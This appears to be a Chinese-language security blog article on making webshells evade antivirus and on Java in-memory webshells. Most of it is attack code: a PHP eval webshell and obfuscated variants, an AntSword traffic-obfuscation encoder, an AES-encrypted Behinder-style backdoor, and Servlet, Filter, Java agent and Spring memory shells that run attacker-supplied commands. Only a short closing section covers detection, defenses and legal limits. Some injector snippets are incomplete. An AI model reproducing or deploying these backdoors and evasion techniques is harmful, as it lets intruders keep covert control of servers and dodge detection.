Announcement

👇Official Account👇

Welcome to join the group & private message

Article first/tail QR code

Skip to content

WebShell 免杀与 Java 内存马技术研究

一、WebShell 基础

1.1 什么是 WebShell

WebShell 是以 Web 文件形式存在的后门程序,通过服务器端的脚本执行能力实现对目标服务器的控制:

php
// 最简单的 PHP WebShell
<?php @eval($_POST['cmd']); ?>

WebShell 的核心功能:

功能说明示例
命令执行执行系统命令whoamilsid
文件管理读写上传下载文件文件管理器
数据库操作连接数据库执行 SQLMySQL/MSSQL 管理
内网穿透建立隧道SOCKS 代理

1.2 WebShell 管理工具

工具语言特点
蚁剑 (AntSword)开源编码器插件化,支持自定义协议
冰蝎 (Behinder)开源动态密钥协商,AES 加密流量
哥斯拉 (Godzilla)开源多种加密模式,Java/PHP 双端
C刀 (Cknife)开源简单轻量,适合快速测试

二、免杀技术基础

2.1 静态免杀

编码混淆

php
<?php
// 原始版本
@eval($_POST['cmd']);

// Base64 编码
@eval(base64_decode('JEdMT0JBTFNbJ2NtZCdd'));

// 字符串拼接
$f = "\145\166\141\154";  // octal 编码的 "eval"
$f($_POST['cmd']);

// 多次解码
$s = base64_decode(str_rot13('Ri0rRi1rRi0rRi1r'));
@eval($s($_POST['cmd']));

函数隐藏

java
// Java 版 - 反射调用
try {
    Class<?> runtime = Class.forName("java.lang.Runtime");
    Method exec = runtime.getMethod("exec", String.class);
    Object rt = runtime.getMethod("getRuntime").invoke(null);
    exec.invoke(rt, "whoami");
} catch (Exception e) {
    e.printStackTrace();
}

2.2 动态免杀

python
# 特征修改思路
特征 = {
    "eval系统函数": "使用 call_user_func_array",
    "字符串特征": "动态拼接/编码",
    "文件时间": "修改为系统文件时间",
    "文件大小": "填充注释到标准大小",
    "危险函数": "通过变量间接调用",
}

2.3 免杀效果评估

bash
# 使用 VirusTotal 在线检测(注意隐私)
# 使用本地杀毒引擎测试
clamscan webshell.php
# 使用在线沙箱
# https://www.hybrid-analysis.com

三、流量免杀

3.1 蚁剑编码器

javascript
// AntSword 自定义编码器示例
'use strict';

module.exports = (pwd, data, ext = null) => {
    // 1. 将 payload 进行 base64 编码
    let encoded = Buffer.from(data['_']).toString('base64');
    
    // 2. 用 XOR 混淆
    let key = 'pFinalClub';
    let obfuscated = '';
    for (let i = 0; i < encoded.length; i++) {
        obfuscated += String.fromCharCode(
            encoded.charCodeAt(i) ^ key.charCodeAt(i % key.length)
        );
    }
    
    // 3. 再套一层 base64
    data['payload'] = Buffer.from(obfuscated).toString('base64');
    delete data['_'];
    
    // 4. 添加随机噪声参数
    data['_t'] = Date.now();
    data['_r'] = Math.random().toString(36).substring(7);
    
    return data;
}

3.2 冰蝎流量分析

冰蝎使用 AES 加密进行通信,每次连接动态协商密钥:

java
// 冰蝎 PHP 服务端(简化)
<?php
@session_start();
$key = "e45e329feb5d925b";  // 默认密钥(可修改)

// 解密请求
$post = openssl_decrypt(
    base64_decode($_POST['data']),
    "AES-128-CBC",
    $key,
    OPENSSL_RAW_DATA,
    substr($key, 0, 16)
);

// 执行命令
$result = @eval($post);

// 加密响应
echo base64_encode(
    openssl_encrypt(
        $result,
        "AES-128-CBC",
        $key,
        OPENSSL_RAW_DATA,
        substr($key, 0, 16)
    )
);
?>

四、Java 内存马技术

4.1 什么是内存马

传统 WebShell 需要写文件,容易被文件监控发现。内存马不在磁盘写文件,只在内存中注册恶意组件:

markdown
传统 WebShell:
  写文件 → 文件监控发现 → 查杀

内存马:
  内存注册 → 无文件可查 → 重启后消失
  (但重启前持续有效)

4.2 Servlet 内存马

java
import javax.servlet.*;
import javax.servlet.http.*;
import java.lang.reflect.*;

// 动态注册 Servlet 作为内存马
public class MemoryShellServlet extends HttpServlet {
    
    @Override
    protected void service(HttpServletRequest req, HttpServletResponse resp) 
            throws ServletException, IOException {
        
        // 检查特征头
        String cmd = req.getHeader("X-Cmd");
        if (cmd != null && !cmd.isEmpty()) {
            Process process = Runtime.getRuntime().exec(cmd);
            java.io.BufferedReader reader = new java.io.BufferedReader(
                new java.io.InputStreamReader(process.getInputStream())
            );
            String line;
            while ((line = reader.readLine()) != null) {
                resp.getWriter().println(line);
            }
            return;
        }
        
        // 非特征请求正常处理
        super.service(req, resp);
    }
}

注册到运行中的 Tomcat

java
public class Injector {
    
    public static void injectServlet() throws Exception {
        // 获取当前 Web 应用的 StandardContext
        Thread.currentThread().getContextClassLoader();
        WebApplicationContextUtils.getRequiredWebApplicationContext(
            getServletContext()
        );
        
        // 通过反射获取 Context
        Field ctxField = clazz.getDeclaredField("context");
        ctxField.setAccessible(true);
        Object context = ctxField.get(servletContext);
        
        // 动态添加 Servlet 包装
        ServletRegistration.Dynamic dynamic = 
            servletContext.addServlet("memory-shell", MemoryShellServlet.class);
        dynamic.addMapping("/shell/*");
    }
}

4.3 Filter 内存马

Filter 内存马更隐蔽,因为 Filter 在 Servlet 之前处理请求:

java
public class MemoryFilterShell implements Filter {
    
    @Override
    public void doFilter(ServletRequest request, ServletResponse response, 
                         FilterChain chain) throws IOException, ServletException {
        
        HttpServletRequest req = (HttpServletRequest) request;
        String cmd = req.getParameter("cmd");
        
        if (cmd != null) {
            // 执行命令并通过响应返回
            Process proc = Runtime.getRuntime().exec(cmd);
            // ... 读取并返回结果
            return;  // 不继续传递请求
        }
        
        // 正常请求放行
        chain.doFilter(request, response);
    }
}
java
// 动态注册 Filter
public void injectFilter(ServletContext servletContext) {
    FilterRegistration.Dynamic filter = servletContext.addFilter(
        "memory-filter", MemoryFilterShell.class
    );
    filter.addMappingForUrlPatterns(
        EnumSet.of(DispatcherType.REQUEST),
        true,
        "/*"  // 所有请求
    );
}

4.4 Agent 内存马

通过 Java Instrumentation API 修改已有类的字节码:

java
import java.lang.instrument.*;

public class AgentMemShell implements ClassFileTransformer {
    
    @Override
    public byte[] transform(ClassLoader loader, String className,
                            Class<?> classBeingRedefined,
                            ProtectionDomain protectionDomain,
                            byte[] classfileBuffer) {
        
        // 目标:修改 javax.servlet.http.HttpServlet 的 service 方法
        if (!"javax/servlet/http/HttpServlet".equals(className)) {
            return null;  // 不修改其他类
        }
        
        try {
            // 使用 ASM 或 Javassist 修改字节码
            return transformClass(classfileBuffer);
        } catch (Exception e) {
            e.printStackTrace();
        }
        
        return null;
    }
    
    private byte[] transformClass(byte[] classBytes) {
        // 使用 javassist 修改字节码
        ClassPool pool = ClassPool.getDefault();
        CtClass clazz = pool.makeClass(new java.io.ByteArrayInputStream(classBytes));
        
        // 在 service 方法开头插入 Shell 逻辑
        CtMethod method = clazz.getDeclaredMethod("service");
        method.insertBefore(
            "String cmd = request.getParameter(\"cmd\");" +
            "if(cmd != null) {" +
            "    Process p = Runtime.getRuntime().exec(cmd);" +
            "    java.io.BufferedReader reader = new java.io.BufferedReader(" +
            "        new java.io.InputStreamReader(p.getInputStream()));" +
            "    String line;" +
            "    while((line = reader.readLine()) != null) {" +
            "        response.getWriter().println(line);" +
            "    }" +
            "    return;" +
            "}"
        );
        
        return clazz.toBytecode();
    }
}

Agent 加载方式

bash
# 通过 attach API 加载到运行中的 JVM
# 不需要重启应用
java -javaagent:agent.jar -jar application.jar

# 或者在运行中通过 Attach API 加载
VirtualMachine vm = VirtualMachine.attach(pid);
vm.loadAgent("agent.jar", args);
vm.detach();

4.5 Spring 框架内存马

java
@Controller
public class SpringMemoryShell {
    
    // 通过 @RequestMapping 注册
    @RequestMapping("/shell")
    @ResponseBody
    public String shell(@RequestParam(required = false) String cmd) throws Exception {
        if (cmd == null) return "need cmd";
        
        StringBuilder result = new StringBuilder();
        Process proc = Runtime.getRuntime().exec(cmd);
        // ...
        return result.toString();
    }
}

// 动态注册到 Spring 容器
public void injectSpringShell(GenericWebApplicationContext context) {
    context.registerBean(
        "springMemoryShell",
        SpringMemoryShell.class,
        () -> new SpringMemoryShell()
    );
}

五、检测与防御

5.1 内存马检测方法

java
// 列出所有注册的 Servlet
ServletContext servletContext = request.getServletContext();
Field registrationsField = servletContext.getClass()
    .getDeclaredField("servletRegistrations");
registrationsField.setAccessible(true);
Map<String, ?> registrations = 
    (Map<String, ?>) registrationsField.get(servletContext);
System.out.println("已注册 Servlet: " + registrations.keySet());

// 列出所有 Filter
Map<String, FilterRegistration> filters = 
    servletContext.getFilterRegistrations();
for (String name : filters.keySet()) {
    System.out.println("Filter: " + name);
    // 检查 name 是否符合预期(不像随机生成的)
}

5.2 防御措施

yaml
防御清单:
□ 禁止 Tomcat/WebLogic 等中间件动态注册 Servlet/Filter
□ 使用 SecurityManager 限制反射操作
□ 定期 dump ClassLoader 中的类,对比基线
□ 对请求的 URL 和参数做白名单校验
□ 使用 RASP(Runtime Application Self-Protection)产品
□ 监控 Instrumentation retransform 操作
□ Agent 加载需鉴权

六、法律与合规

重要提示:本文所述技术仅供授权的安全测试和研究使用。未经授权使用内存马技术攻击他人系统,可能违反《刑法》第 285/286 条及《网络安全法》第 27 条,后果自负。

合法使用场景

  • ✅ 企业内部授权的渗透测试
  • ✅ 红蓝对抗演练
  • ✅ CTF 竞赛
  • ✅ 安全研究(自有环境)

本文是攻防研究系列的一部分,后续将覆盖 EDR 规避、云原生安全、容器逃逸等高级主题。

上次更新于: